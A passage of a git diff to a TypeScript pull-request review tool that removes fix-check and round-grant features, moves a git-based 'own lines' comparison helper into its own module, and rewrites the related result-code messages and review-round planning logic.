- review_round_grants: { type: 'array', items: { type: 'object', required: ['kind', 'head', 'pr', 'by', 'reason', 'at', 'approval'], properties: { kind: { enum: ['extra-round', 'fix-check'] }, head: str, pr: { type: 'integer', minimum: 1 }, by: str, reason: str, at: str, approval: str, stop_run: str, findings: { type: 'array', items: str } } } },
- cleared_by_grant: { type: 'object', required: ['approval', 'run', 'ids'], properties: { approval: str, run: str, ids: strList } },
+ // Legacy (GST-3562 part 4): receipts written before fix-check and round grants were removed may carry these; nothing reads them.
+ review_loop_exception: { type: 'object' }, review_round_grants: { type: 'array' }, cleared_by_grant: { type: 'object' },
cleared_by_trailer: { type: 'array', items: { type: 'object', required: ['id', 'commit', 'review'], properties: { id: str, commit: str, review: str } } },
ruled_notes: { type: 'array', items: { type: 'object', required: ['finding', 'head', 'by', 'reason', 'at', 'approval'], properties: { finding: str, head: str, by: str, reason: str, at: str, approval: str, relayed: str, not_security: { const: true } } } },
gate_dispositions: { type: 'array', items: { type: 'object', required: ['finding', 'gate_id', 'head', 'by', 'reason', 'words', 'at', 'approval'], properties: { finding: str, gate_id: str, head: str, by: str, reason: str, words: str, at: str, approval: str } } },
diff --git a/lib/own-lines.ts b/lib/own-lines.ts
new file mode 100644
index 000000000..9af900858
--- /dev/null
+++ b/lib/own-lines.ts
@@ -0,0 +1,58 @@
+/**
+ * own-lines: whether two heads on one line of history carry the pull request's own added and removed lines byte-identical, at
+ * the same places, against the base (GST-2968). lib/pregate/run-check.ts uses it to accept a tested merge whose own lines are
+ * the head's; it moved here from the round-grant module GST-3562 part 4 removed.
+ */
+import { spawnSync } from './spawn-sync';
+
+interface Hunk { path: string; start: number; len: number; added: number }
+
+/** A zero-context diff's hunks: the file (its old side, or its new side when created), the old-side start and length, and the added length. */
+function hunks(diff: string): Hunk[] {
+ const out: Hunk[] = [];
+ let minus = '', path = '';
+ for (const l of diff.split('\n')) {
+ if (l.startsWith('--- ')) minus = l.slice(4);
+ else if (l.startsWith('+++ ')) path = minus === '/dev/null' ? l.slice(4) : minus;
+ const m = /^@@ -(\d+)(?:,(\d+))? \+\d+(?:,(\d+))? @@/.exec(l);
+ if (m) out.push({ path, start: +m[1]!, len: m[2] === undefined ? 1 : +m[2], added: m[3] === undefined ? 1 : +m[3] });
+ }
+ return out;
+}
+
+/**
+ * The old-side line own hunk h starts at once the base's hunks have moved its file, or null when the base edited a line h changes or
+ * inserted inside or right next to h, so its place can't be carried over. Spans are in half-line steps: 2n is line n, 2n+1 the gap after it.
+ */
+function carried(base: readonly Hunk[], h: Hunk): number | null {
+ const span = (x: Hunk, pad: number): [number, number] => x.len ? [2 * x.start - pad, 2 * (x.start + x.len - 1) + pad] : [2 * x.start + 1 - pad, 2 * x.start + 1 + pad];
+ const [lo, hi] = span(h, 1);
+ let shift = 0;
+ for (const b of base.filter(x => x.path === h.path)) {
+ const [blo, bhi] = span(b, 0);
+ if (blo <= hi && lo <= bhi) return null;
+ if (bhi < lo) shift += b.added - b.len;
+ }
+ return h.start + shift;
+}
+
+/**
+ * Whether a and b are on one line of history and carry byte-identical own lines against baseRef at the same places: equal
+ * zero-context patch-ids, and each own hunk of a, carried through the base's changes between the two forks, starts where b's does.
+ * Moving a line to another place in the same file changes no patch-id, so the places are compared too.
+ */
+export function ownLinesSame(repoRoot: string, baseRef: string, a: string, b: string): boolean {
+ const git = (args: string[], input?: string) => spawnSync('git', ['-c', 'core.quotepath=off', ...args], { cwd: repoRoot, encoding: 'utf8', input, timeout: 120_000, maxBuffer: 256 * 1024 * 1024 });
+ if (git(['merge-base', '--is-ancestor', a, b]).status !== 0 && git(['merge-base', '--is-ancestor', b, a]).status !== 0) return false;
+ const fork = (c: string) => { const f = git(['merge-base', baseRef, c]); return f.status === 0 ? f.stdout.trim() : null; };
+ const diff = (x: string, y: string) => { const d = git(['diff', '--no-color', '--no-ext-diff', '--no-textconv', '--no-renames', '--binary', '--full-index', '-U0', x, y]); return d.status === 0 ? d.stdout : null; };
+ const id = (d: string) => { const p = git(['patch-id', '--verbatim'], d); return p.status === 0 ? p.stdout.trim().split(/\s+/)[0] || null : null; };
+ const fa = fork(a), fb = fork(b);
+ if (!fa || !fb) return false;
+ const da = diff(fa, a), db = diff(fb, b), moved = fa === fb ? '' : diff(fa, fb);
+ if (!da?.trim() || !db?.trim() || moved === null) return false;
+ const x = id(da);
+ if (x === null || x !== id(db)) return false;
+ const base = hunks(moved), there = hunks(db), here = hunks(da);
+ return here.length === there.length && here.every((h, i) => h.path === there[i]!.path && h.len === there[i]!.len && carried(base, h) === there[i]!.start);
+}
diff --git a/lib/pr-review-history.ts b/lib/pr-review-history.ts
index 349b353b2..d9dc11963 100644
--- a/lib/pr-review-history.ts
+++ b/lib/pr-review-history.ts
@@ -11,7 +11,6 @@ import type { ShipReceipt } from './headless-artifacts';
import { withAgentNotes, splitAgentNotes } from './agent-notes';
import { extractReceipt, keptRuns, receiptRun, receiptRuns, RUNS_FENCE, RUNS_RE, type ReceiptRun } from './ship-receipt';
import { FULL_PASS_CAP } from './review-depth';
-import type { ReviewRoundGrant } from './review-round-grant';
export interface PrReviewHistory {
/** /ship runs that reviewed (stubs and carries excluded). */
@@ -93,25 +92,23 @@ export const runStub = (o: { head: string; run: string; status: 'started' | 'voi
/**
* A stop record (GST-2968): the review a /ship run stopped on, written by gstack-ship-receipt stop when the plan prints NEXT: stop.
- * head is the commit that review read, tree its tree; the review row bound to it (lib/ship-stop.ts). A grant marker records
- * that a run claimed a round grant before dispatching the round it buys. Markers count no round and are never trimmed. Both carry
- * when they were recorded, so a granted fix-check orders stop, claim and row from the PR body alone (lib/fix-check-clearing.ts).
+ * head is the commit that review read, tree its tree; the review row bound to it (lib/ship-stop.ts). Markers count no round and
+ * are never trimmed; a grant marker from a run before GST-3562 part 4 (a claimed round grant) stays readable and counts nothing.
*/
export const stopMarker = (o: { head: string; tree: string; run: string; at?: string }): ReceiptRun => ({ head: o.head, run: o.run, mark: 'stop', tree: o.tree, at: o.at ?? new Date().toISOString() });
-export const grantMarker = (o: { head: string; run: string; grant: string; at?: string }): ReceiptRun => ({ head: o.head, run: o.run, mark: 'grant', grant: o.grant, at: o.at ?? new Date().toISOString() });
/** gstack-ship-run abandon's entry (GST-3260): who ended a run that stopped working, and why, at the head it was abandoned on. */
export const abandonMarker = (o: { head: string; run: string; by: string; reason: string }): ReceiptRun => ({ head: o.head, run: o.run, mark: 'abandoned', by: o.by, reason: o.reason });
/** The newest receipt a run id already wrote, in the runs block or current: a run id names one /ship run (gstack-evals#406). */
export const receiptedRun = (body: string, run: string) => entries(body).filter(e => e.run === run && !e.mark && !e.status).at(-1);
-/** The rows a /ship stop can follow: a full pass, a fix-check, or a Step 11 voice (#4591 stopped on its voices after a fix-check). */
+/** The rows a /ship stop can follow: a full pass or a Step 11 voice (#4591 stopped on its voices); a legacy fix-check row too. */
const STOP_READERS = new Set(['review', 'review-fix-check', 'adversarial-review', 'codex-review']);
/**
* The stop record for the newest via:ship reading row of this run (at or after since): a full pass, a fix-check or a Step 11 voice,
* whichever read last, so the stop binds to the head that row read (#4591). Or why none binds: the row must be complete,
* bound to one tree from start to end (verified, or incomplete because it stopped) that is its commit's own tree, read on a clean
- * worktree, and that commit must be HEAD or an ancestor of it. A read gstack can't tie to a commit gives a grant nothing to answer.
+ * worktree, and that commit must be HEAD or an ancestor of it.
*/
export function stopFrom(rows: readonly Record<string, any>[], since: string, o: { treeOf: (commit: string) => string | undefined; onHead: (commit: string) => boolean }): { ok: true; head: string; tree: string } | { ok: false; why: string } {
const sinceMs = Date.parse(since);
@@ -125,44 +122,18 @@ export function stopFrom(rows: readonly Record<string, any>[], since: string, o:
return { ok: true, head, tree: row.tree };
}
-export type GrantedStop = { ok: true; grant: ReviewRoundGrant; stop: ReceiptRun } | { ok: false; why: string };
-
-/**
- * The fix-check grant that answers this PR's stop (GST-2968, GHOM-1): the newest stop record in the body, a fix-check grant naming
- * its run and head for this PR, not claimed by another run, and HEAD at or after the stop's head. A stop is stale once a later run
- * reviewed (a stub after it with a full pass, or a current receipt past its head): a grant then answers nothing.
- */
-export function grantedStop(body: string, grants: readonly ReviewRoundGrant[], o: { pr: number; head: string; run?: string; isAncestor: (a: string, d: string) => boolean }): GrantedStop | null {
- const fixChecks = grants.filter(g => g.kind === 'fix-check' && g.pr === o.pr);
- if (!fixChecks.length) return null;
- const runs = receiptRuns(body);
- const at = runs.map(r => r.mark).lastIndexOf('stop');
- if (at < 0) return { ok: false, why: `no stop record in the PR body for grant ${fixChecks.at(-1)!.approval}; a fix-check grant answers the stop gstack-ship-receipt stop recorded` };
- const stop = runs[at]!;
- const current = extractReceipt(body).receipt;
- const later = runs.slice(at + 1).find(r => !r.mark && r.run !== stop.run && (r.review_loop?.passes ?? 0) > 0);
- if (later || (current && typeof current.head === 'string' && current.head !== stop.head && o.isAncestor(stop.head, current.head))) return { ok: false, why: `the stop at ${stop.head.slice(0, 12)} (run ${stop.run}) is stale: run ${later?.run ?? current?.run} reviewed after it` };
- const g = [...fixChecks].reverse().find(x => x.head === stop.head && x.stop_run === stop.run);
- if (!g) return { ok: false, why: `no fix-check grant names the newest stop (run ${stop.run} at ${stop.head.slice(0, 12)}): record one with gstack-approvals round-grant --kind fix-check --head ${stop.head} --stop-run ${stop.run}` };
- const claimed = runs.find(r => r.mark === 'grant' && r.grant === g.approval && r.run !== o.run);
- if (claimed) return { ok: false, why: `grant ${g.approval} was claimed by run ${claimed.run}: a grant buys one round` };
- if (!o.isAncestor(stop.head, o.head)) return { ok: false, why: `HEAD ${o.head.slice(0, 12)} does not contain the stop's head ${stop.head.slice(0, 12)}: a head move voids grant ${g.approval}` };
- return { ok: true, grant: g, stop };
-}
-
-export type Route = { route: 'first' | 'final' | 'read-only' | 'fix-check'; reason: string };
+export type Route = { route: 'first' | 'final' | 'read-only'; reason: string };
/**
* What review a head of the PR gets when carry can't keep its receipt (the PR's own lines changed; a head that only
* merges in the base keeps it). Before any full round: the first review, as today. Below the cap: a fresh full review
* of this head, the PR's last before merge. At the cap: one read-only full review of the final head, with no fix round,
- * whose blocker goes to the lane's Captain as a decision; an extra-round grant at this head buys a fix round instead.
+ * whose blocker goes to the lane's Captain as a decision.
* A scoped re-check is advice only and never stands in (GST-2673).
*/
-export function reviewRoute(h: Pick<PrReviewHistory, 'full'>, o: { grant?: string } = {}): Route {
+export function reviewRoute(h: Pick<PrReviewHistory, 'full'>): Route {
if (!h.full) return { route: 'first', reason: 'no full review round on this PR yet' };
if (h.full < FULL_PASS_CAP) return { route: 'final', reason: `the PR had ${h.full} full review round${h.full === 1 ? '' : 's'}; this head gets a fresh full review, the PR's round ${h.full + 1} of ${FULL_PASS_CAP} and its last before merge (R51)` };
- if (o.grant && h.full === FULL_PASS_CAP) return { route: 'final', reason: `the PR had ${h.full} full review rounds; round grant ${o.grant} buys one more at this head, with its fix round` };
return { route: 'read-only', reason: `the PR had ${h.full} full review rounds; this head gets one read-only full review: no fix round, a blocker goes to the lane's Captain as a decision, and the count does not reopen (R51)` };
}
diff --git a/lib/pregate/run-check.ts b/lib/pregate/run-check.ts
index 181bc594d..4fc88c0c4 100644
--- a/lib/pregate/run-check.ts
+++ b/lib/pregate/run-check.ts
@@ -12,7 +12,7 @@ import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { ghArtifactDeps, ghRunDeps, runInventory, type BaseMove, type RunProfile } from '../run-evidence';
-import { ownLinesSame } from '../review-round-grant';
+import { ownLinesSame } from '../own-lines';
import { classifyDocsOnly } from '../docs-only';
import { wtreeFingerprint } from '../script-invocation';
import { resolveBaseBranch } from '../ship-policy';
diff --git a/lib/result-codes-release.ts b/lib/result-codes-release.ts
index 18279786e..a3cf92f36 100644
--- a/lib/result-codes-release.ts
+++ b/lib/result-codes-release.ts
@@ -291,8 +291,8 @@ export const RELEASE_RESULT_CODES = {
},
QUEUE_RECEIPT_EXCEPTION_INVALID: {
anchor: 'queue-receipt-exception-invalid',
- summary: 'the PR body’s /ship receipt records an owner exception (docs or review loop) that is malformed, lacks the fix-check it follows, or whose line the body no longer carries verbatim',
- fix: 'restore the exception line in the PR body word for word, or run /gstack-ship again and record the owner’s acceptance with --docs or --review-loop-exception',
+ summary: 'the PR body’s /ship receipt records a documentation exception that is malformed or whose line the body no longer carries verbatim, or it still records a review-loop exception, which GST-3562 part 4 removed',
+ fix: 'for a documentation exception, restore its line in the PR body word for word, or run /gstack-ship again and record the owner’s acceptance with --docs; for a review-loop exception, run /gstack-ship again for a fresh receipt, with any blocker it shipped recorded as a ruled note (gstack-approvals rule)',
},
QUEUE_RECEIPT_TARGETED_MISSING: {
anchor: 'queue-receipt-targeted-missing',
@@ -418,12 +418,12 @@ export const RELEASE_RESULT_CODES = {
RECEIPT_BLOCKER_OPEN: {
anchor: 'receipt-blocker-open',
summary: 'the review loop stopped at this head with a blocking finding still open (a Step 9 or Step 11 finding, the second-model review included, whose newest review-log action is still open and no owner ruling closed), so no receipt is written',
- fix: 'fix the finding and run /gstack-ship again on the new head, or take the stop to the owner, whose ruled note or grant closes it; never write the receipt by hand or drop the finding from the review-log row',
+ fix: 'fix the finding and run /gstack-ship again on the new head, or take the stop to the owner, whose ruled note closes it; never write the receipt by hand or drop the finding from the review-log row',
},
REVIEW_LOOP_EXCEPTION_INVALID: {
anchor: 'review-loop-exception-invalid',
- summary: 'write --review-loop-exception got an exception that is malformed, accepts a stop the review loop does not show (a fix_check with review_loop.fix_checks 0 or missing, or a second_pass with fewer than two passes or no deferred finding), names a head that is not the receipt head or its ancestor, or is missing from the PR body',
- fix: 'pass { accepted_by, date, via, reason } plus fix_check: { head, findings } or second_pass: { head, deferred: [<finding id>] } with the owner’s words, the --review-loop summary that shows that stop, and the printed "Review-loop exception: …" line in the body',
+ summary: '--review-loop-exception was removed with fix-check grants (GST-3562 part 4), so write and finish refuse it and write nothing',
+ fix: 'drop the flag: an open finding at the round cap ships only as a ruled note the owner records with gstack-approvals rule',
},
CI_CARRY_TREE_LOG_UNBOUND: {
anchor: 'ci-carry-tree-log-unbound',
@@ -448,12 +448,12 @@ export const RELEASE_RESULT_CODES = {
STOP_UNBOUND: {
anchor: 'stop-unbound',
summary: 'gstack-ship-receipt stop found no review of this run bound to one committed tree, so it recorded no stop record',
- fix: 'nothing for a grant to answer: the lane or its Captain ships with the open notes listed or parks; a fresh /ship run gives the head its review',
+ fix: 'the lane or its Captain ships with the open notes listed or parks; a fresh /ship run gives the head its review',
},
GRANT_SPENT: {
anchor: 'grant-spent',
- summary: 'another /ship run already claimed this round grant, and a grant buys one round',
- fix: 'the lane or its Captain records a new grant for the stop the PR is at now (gstack-ship-receipt stop prints the command)',
+ summary: 'an older gstack’s claim found the round or fix-check grant spent or unknown; claim and grants were removed in GST-3562 part 4',
+ fix: 'the lane’s Captain decides the stop as PR_ROUND_CAP says: ship with the open notes (a blocker only as a ruled note) or park',
},
SHIP_RUN_ABANDON_REFUSED: {
anchor: 'ship-run-abandon-refused',
@@ -467,8 +467,8 @@ export const RELEASE_RESULT_CODES = {
},
GRANT_UNKNOWN: {
anchor: 'grant-unknown',
- summary: 'the branch approval record holds no approved review_round_grant row with this id',
- fix: 'pass the id gstack-approvals round-grant printed, from a checkout that sees the record or its mirror',
+ summary: 'an older gstack’s claim found the round or fix-check grant spent or unknown; claim and grants were removed in GST-3562 part 4',
+ fix: 'the lane’s Captain decides the stop as PR_ROUND_CAP says: ship with the open notes (a blocker only as a ruled note) or park',
},
RECEIPT_CARRY_SCOPED_REVIEW: {
anchor: 'receipt-carry-scoped-review',
diff --git a/lib/review-depth.ts b/lib/review-depth.ts
index cdd9eb803..7d42435ed 100644
--- a/lib/review-depth.ts
+++ b/lib/review-depth.ts
@@ -20,11 +20,12 @@ export type PathClass = 'docs' | 'tests' | 'code';
export type Depth = 'light' | 'standard' | 'full';
export type Effort = 'light' | 'medium' | 'full' | 'host';
export type Role = 'specialist' | 'red-team' | 'adversarial-native' | 'outside-voice' | 'fix-check' | 'targeted';
+/** 'scoped' and 'fix-check' (with their Role) are replay-only: no table plans them since GST-3562, and planReview keeps their dispatch for the frozen no-loss replays (test/fixtures/review-depth-main). */
export type Step = 'full' | 'scoped' | 'fix-check' | 'voices' | 'platform' | 'targeted' | 'done' | 'stop';
export const SPECIALISTS = ['testing', 'maintainability', 'security', 'performance', 'data-migration', 'api-contract', 'design', 'simplification', 'state-machines'] as const;
export type Specialist = (typeof SPECIALISTS)[number];
-/** The review rounds one /ship invocation runs (R51): a full, scoped or fix-check step is a round. */
+/** The review rounds one /ship invocation runs (R51): a full step is a round (the scoped and fix-check steps are replay-only). */
export const FULL_PASS_CAP = 2;
export const SMALL_DIFF_LINES = 50;
export const RED_TEAM_LINES = 200;
@@ -371,7 +372,7 @@ export function scanNumbers(added: Record<string, readonly string[]>): NumbersRe
export interface History {
/** Full review passes already run in this invocation (0 before pass 1). */
fullPasses: number;
- /** The step that just finished; none before pass 1. */
+ /** The step that just finished; none before pass 1. 'fix-check' is replay-only, like the fields at the end. */
last: 'none' | 'full' | 'fix-check';
/** The finished step fixed at least one blocking finding. */
fixedBlocking?: boolean;
@@ -388,23 +389,23 @@ export interface History {
gate?: boolean;
/** Step 11's native adversarial pass already ran (planReview sets it from PlanInput.adversarialRan). */
adversarialRan?: boolean;
- /** The approval id of the owner's recorded grant of one scoped fix-check after round 2 (review_loop_exception). */
- granted?: string;
- /** R65's lean table (planReview sets it from the base policy's review.panel): one reviewer, then at most one fix-check. */
+ /** R65's lean table (planReview sets it from the base policy's review.panel): one reviewer, then at most one full round 2. */
lean?: boolean;
- /** Fix-checks already run in this invocation (lean: the grant adds one only after the first). */
- fixChecks?: number;
/** The Step 9 /ship Step 16 stage 2.1 inserted for edits after the review bound (gstack-review-plan --post-review). */
postReview?: boolean;
- /** In the loop, the CLI bound `granted` to the last fix-check's own stop head, its commit (--range-base): a new grant, never the previous link's. */
- chained?: boolean;
- /** R51 rounds earlier /ship runs on this PR already spent, fix-checks and scoped passes included (--prior-rounds; GST-2673): printed as pr_rounds=. */
+ /** R51 rounds earlier /ship runs on this PR already spent, earlier scoped passes and fix-checks included (--prior-rounds; GST-2673): printed as pr_rounds=. */
priorRounds?: number;
/** The full review rounds among them (--prior-full): the PR cap compares these plus this run's full passes with FULL_PASS_CAP, so a run's own fix rounds stay as the in-run table plans them. */
priorFull?: number;
- /** The lane's or Captain's recorded round grant at this head (--round-grant): one more round for the PR, with its fix round, never the owner's. */
+ /**
+ * Replay-only (GST-3562 part 4): the fix-check and grant history main's frozen table at 0408128 reads
+ * (test/fixtures/review-depth-main) for the no-loss replays. gstack-review-plan refuses the flags that set them and nextStep
+ * ignores them.
+ */
+ granted?: string;
+ fixChecks?: number;
+ chained?: boolean;
roundGrant?: string;
- /** A fix-check round grant that answers the stop record at --stop (GST-2968): the stopped review's fix round, one scoped fix-check of the PR's own change since the stop's head, in this run or a new one. */
grantedStop?: string;
}
/**
@@ -423,39 +424,28 @@ export interface NextStep { step: Step; reason: string; keepReader?: true; readO
* blocking finding earns a second full pass on the range, never a scoped pass (GST-3562 part 3); below full depth with at
* most SCOPED_RANGE_LINES runtime lines in the fix range it keeps the readers main's scoped pass ran (keepReader,
* rangeReaders); any other fix earns a full second pass on the range too, except a light pass whose fix range
- * changes no runtime lines (GST-3562 A: no new fix-check is planned, and the step's keepReader keeps the full-effort reader
+ * changes no runtime lines (GST-3562 A: no fix-check is planned, and the step's keepReader keeps the full-effort reader
* the fix-check was); two rounds is the cap (R51), and capStep says what a fix after the cap gets.
- * The cap limits fix rounds, not Step 11's voices: on gate class any stop waits for them (GST-967),
- * and the owner's recorded grant (`granted`) turns the stop after a round-2 fix-check that was the run's only one
- * (`fixChecks`, GEVA-223) into one more fix-check, for one release; a fix-check never earns another, so
- * the grant cannot repeat. Edits after the review bound (`postReview`) that follow a fix-check are a new stop, and a new grant
- * there adds one fix-check, the next link of the chain finish counts (GST-1676, docs/ship-policy.md#fix-check-chain). In the
- * loop, a grant the CLI bound to the last fix-check's own stop head (`chained`) adds one more the same way (GST-1681).
+ * The cap limits fix rounds, not Step 11's voices: on gate class any stop waits for them (GST-967). Round grants and
+ * fix-check grants are gone (GST-3562 part 4): at the cap a blocker goes to the lane's Captain.
*/
export function nextStep(h: History, depth?: Depth): NextStep {
- if (h.grantedStop && h.last !== 'fix-check') return h.rangeRuntimeLines == null
- ? { step: 'stop', reason: `fix-check grant ${h.grantedStop} answers the stop, but there is no fix to read since its head: commit the fix (a base merge, an empty or reverted change is none), then ask again` }
- : { step: 'fix-check', reason: `fix-check grant ${h.grantedStop} buys the stopped review's fix round: one scoped fix-check of the PR's own change since the stop's head, never a new full review and never a second fix-check` };
const n = prCapped(h, h.lean ? leanStep(h, depth) : loopStep(h, depth));
if (n.step !== 'stop') return n;
if (h.gate && !h.adversarialRan) return { step: 'voices', reason: `gate class: Step 11's ${h.lean ? 'one reader' : 'voices (adversarial, outside, targeted)'} run${h.lean ? 's' : ''} before the owner's exit, then ask again with --adversarial-ran (${n.reason})` };
- const afterFixCheck = h.last === 'fix-check' && h.fullPasses === FULL_PASS_CAP - 1 && h.fixChecks === 1;
- if (h.postReview && h.last === 'fix-check' && h.granted && !h.blockingOpen) return { step: 'fix-check', reason: `the owner's grant ${h.granted} adds one scoped fix-check for the edits after the last fix-check, a new link of the fix-check chain (docs/ship-policy.md#fix-check-chain); a later post-review edit needs a grant of its own` };
- if (h.chained && h.last === 'fix-check' && h.granted && !h.blockingOpen) return { step: 'fix-check', reason: `the owner's grant ${h.granted} adds one scoped fix-check at the last fix-check's stop, a new link of the fix-check chain (docs/ship-policy.md#fix-check-chain); another stop needs a grant of its own` };
- if (!h.lean && h.granted && !h.blockingOpen && afterFixCheck) return { step: 'fix-check', reason: `the owner's grant ${h.granted} adds one scoped fix-check after round ${FULL_PASS_CAP} (review_loop_exception), never a second` };
return n;
}
/**
* R51 per pull request (GST-2673, docs/review-policy.md#rounds-per-pull-request): the rounds earlier /ship runs on this
- * PR spent count against FULL_PASS_CAP with this run's, and a recorded round grant at this head adds one. At the cap a
+ * PR spent count against FULL_PASS_CAP with this run's. At the cap a
* below-floor fix ships as notes and anything else stops with PR_ROUND_CAP for the lane or its Captain, never the owner.
* A PR already at the cap gets one read-only full review of this head: no fix round, the count does not reopen, and a
* blocker stops with PR_ROUND_CAP as the lane's Captain's decision.
*/
function prCapped(h: History, n: NextStep): NextStep {
const prior = h.priorFull ?? 0;
- const cap = FULL_PASS_CAP + (h.roundGrant ? 1 : 0);
+ const cap = FULL_PASS_CAP;
if (prior >= cap) {
if (h.last === 'none') return n.step === 'full' || n.step === 'scoped' ? { step: 'full', reason: `read-only final review (R51): this PR already had ${prior} full review rounds on earlier heads, so this head gets one full review with no fix round; a blocker goes to the lane's Captain as a decision and the count does not reopen`, keepReader: true, readOnly: true } : n;
if (n.step === 'done') return n;
@@ -466,11 +456,10 @@ function prCapped(h: History, n: NextStep): NextStep {
if (!prior || (n.step !== 'full' && n.step !== 'scoped')) return n;
const used = prior + h.fullPasses;
if (used < cap) return { ...n, reason: `${n.reason}; this PR already had ${prior} full review round${prior === 1 ? '' : 's'} on earlier heads, so this is its full round ${used + 1} of ${cap}${used + 1 === cap ? ', the last' : ''}` };
- if (h.roundGrant && used === cap && prior === cap - 1 && h.fullPasses === 1 && h.last === 'full') return { ...n, reason: `${n.reason}; round grant ${h.roundGrant} bought pass 1 as this PR's full round ${cap}, and this is that round's fix round, its last` };
if (h.last !== 'none' && !h.blockingOpen) return used === cap
? { step: 'full', reason: `${READ_ONLY_REVIEW}; this PR already had ${prior} full review round${prior === 1 ? '' : 's'} on earlier heads`, keepReader: true, readOnly: true }
: { step: 'stop', reason: `a fix followed the read-only final review: ${CAPTAIN_DECIDES}` };
- return { step: 'stop', reason: `PR_ROUND_CAP: this PR already had ${used} full review round${used === 1 ? '' : 's'} across its heads and /ship runs${h.roundGrant ? ` (round grant ${h.roundGrant} included)` : ''}; another needs a reason the lane or its Captain records with gstack-approvals round-grant, not an owner ask` };
+ return { step: 'stop', reason: `PR_ROUND_CAP: this PR already had ${used} full review round${used === 1 ? '' : 's'} across its heads and /ship runs; a blocker goes to the lane's Captain (ship with it as a ruled note, or park), not an owner ask` };
}
const READ_ONLY_REVIEW = 'read-only final review (R51): fixes changed code after the last round, so the final head gets one full review of the whole PR diff (the dispatcher stages it on the merge base) with no fix round (GST-3562 A)';
@@ -494,11 +483,6 @@ function capStep(h: History, depth?: Depth): NextStep {
*/
function leanStep(h: History, depth?: Depth): NextStep {
if (h.last === 'none') return { step: 'full', reason: 'pass 1: one reviewer reads the whole diff (R65)' };
- if (h.last === 'fix-check') {
- if (!h.blockingOpen && !h.fixedBlocking && !h.touchedGate) return { step: 'done', reason: h.fixedBelow ? 'round cap 2 reached: the below-floor fixes ship as notes in the PR body and receipt' : 'the fix-check found nothing blocking' };
- if (h.granted && !h.blockingOpen && h.fixChecks === 1) return { step: 'fix-check', reason: `the owner's grant ${h.granted} adds one scoped fix-check after round ${FULL_PASS_CAP} (review_loop_exception), never a second` };
- return { step: 'stop', reason: `the fix-check ${h.blockingOpen || h.fixedBlocking ? 'found a blocking finding' : 'edited a gate-class path'}: name it for the owner, whose grant may add one scoped fix-check, never a third round` };
- }
if (h.blockingOpen) return { step: 'stop', reason: 'a blocking finding is still open in fix scope: name it for the owner' };
if (!h.fixedBlocking && !h.fixedBelow && !h.touchedGate) return { step: 'done', reason: 'the step applied no edits' };
if (depth === 'light' && !h.fixedBlocking && !h.touchedGate && h.rangeRuntimeLines === 0) return { step: 'done', reason: 'light depth: the below-floor fixes change no runtime lines, so they ship as notes in the PR body and receipt (R65)' };
@@ -509,7 +493,6 @@ function leanStep(h: History, depth?: Depth): NextStep {
function loopStep(h: History, depth?: Depth): NextStep {
if (h.last === 'none') return { step: 'full', reason: 'pass 1 reviews the whole diff' };
const fixed = !!(h.fixedBlocking || h.fixedBelow || h.touchedGate);
- if (h.last === 'fix-check') return h.blockingOpen || h.fixedBlocking || h.touchedGate ? { step: 'stop', reason: `the fix-check ${h.touchedGate && !h.blockingOpen && !h.fixedBlocking ? 'edited a gate-class path' : 'found a blocking finding'}: name it for the owner, whose grant may add one scoped fix-check, never a third round` } : { step: 'done', reason: fixed ? 'round cap 2 reached: the below-floor fixes ship as notes in the PR body and receipt' : 'the fix-check found nothing blocking' };
if (h.blockingOpen && h.fullPasses >= FULL_PASS_CAP) return { step: 'stop', reason: `a blocking finding is open after ${FULL_PASS_CAP} rounds: name it for the owner` };
if (h.blockingOpen) return { step: 'stop', reason: 'a blocking finding is still open in fix scope: name it for the owner' };
if (!fixed) return { step: 'done', reason: 'the step applied no edits' };
diff --git a/lib/review-evidence.ts b/lib/review-evidence.ts
index f6a62481f..82d3ebe11 100644
--- a/lib/review-evidence.ts
+++ b/lib/review-evidence.ts
@@ -4,7 +4,7 @@ import { closeSync, constants, fstatSync, lstatSync, mkdirSync, openSync, readFi
import { join, resolve } from 'node:path';
import { deriveReviewStatus, isCriticalFinding, isOpenByAction, readJsonl } from './headless-artifacts';
import { resultLine, type ResultCodeName } from './result-codes';
-import { readRunRecord, thisRunOwner } from './ship-run-record';
+import { thisRunOwner } from './ship-run-record';
const DIFF_REVIEWS = new Set(['review', 'review-fix-check', 'adversarial-review', 'codex-review', 'design-review-lite', 'ship']);
const SHARED_LIBS_COVERAGE_VERSION = 1;
@@ -204,7 +204,6 @@ export function captureReviewStart(skill: string, env = process.env, fixRange =
throw new Error('cannot capture a diff review without a working-tree fingerprint');
}
const fixBase = fixRange ? fixRangeBase(skill, env) : undefined;
- const claimed = skill === 'review-fix-check' ? (r => (r.kind === 'record' && r.record.state === 'open' ? r.record : undefined))(readRunRecord(env.GSTACK_REVIEW_REPO)) : undefined;
const dir = join(env.GSTACK_REVIEW_DIR!, '.review-starts');
mkdirSync(dir, { recursive: true, mode: 0o700 });
const token = crypto.randomUUID();
@@ -212,7 +211,6 @@ export function captureReviewStart(skill: string, env = process.env, fixRange =
skill, repo: env.GSTACK_REVIEW_REPO, branch: env.GSTACK_REVIEW_BRANCH,
wtree: env.GSTACK_STAMP_WTREE, started_at: new Date().toISOString(), ...(o => (o ? { owner: o } : {}))(thisRunOwner()),
...(fixBase ? { scope: 'fix-range', fix_base: fixBase } : {}),
- ...(claimed?.claim ? { fix_check: { base: claimed.claim.stop_head, run: claimed.run, grant: claimed.claim.grant, pr: claimed.claim.pr ?? claimed.pr } } : {}),
}), { mode: 0o600, flag: 'wx' });
return fixBase ? `${token}\nFIX_BASE=${fixBase}` : token;
}
@@ -305,11 +303,7 @@ export function bindReview(rec: Record<string, any>, token: string, env = proces
if (error.code !== 'ENOENT') console.error(`gstack-review-log: cannot consume review start: ${error.message}`);
}
}
- if (rec.skill === 'review-fix-check') {
- for (const key of ['fix_check_base', 'run', 'grant', 'pr', 'hunks']) delete rec[key];
- const fc = start?.fix_check;
- if (fc) Object.assign(rec, { fix_check_base: fc.base, run: fc.run, grant: fc.grant, ...(fc.pr ? { pr: fc.pr } : {}), ...(h => (h ? { hunks: h } : {}))(readFixCheckHunks(env.GSTACK_REVIEW_REPO!, start.started_at)) });
- }
+ if (rec.skill === 'review-fix-check') for (const key of ['fix_check_base', 'run', 'grant', 'pr', 'hunks']) delete rec[key];
const end = env.GSTACK_STAMP_WTREE;
const state = !start || !end ? 'uncaptured'
: start.wtree !== end ? 'changed'
@@ -484,59 +478,3 @@ export function reviewFreshness(rec: Record<string, any>, currentWtree: string,
return { status: 'CURRENT', reason: merged ? `completed clean pass; ${merged}` : 'completed clean pass on unchanged content' };
}
-/** The hunks a fix-check reader was given: the sha256 of the file's bytes and every path its diff headers name. */
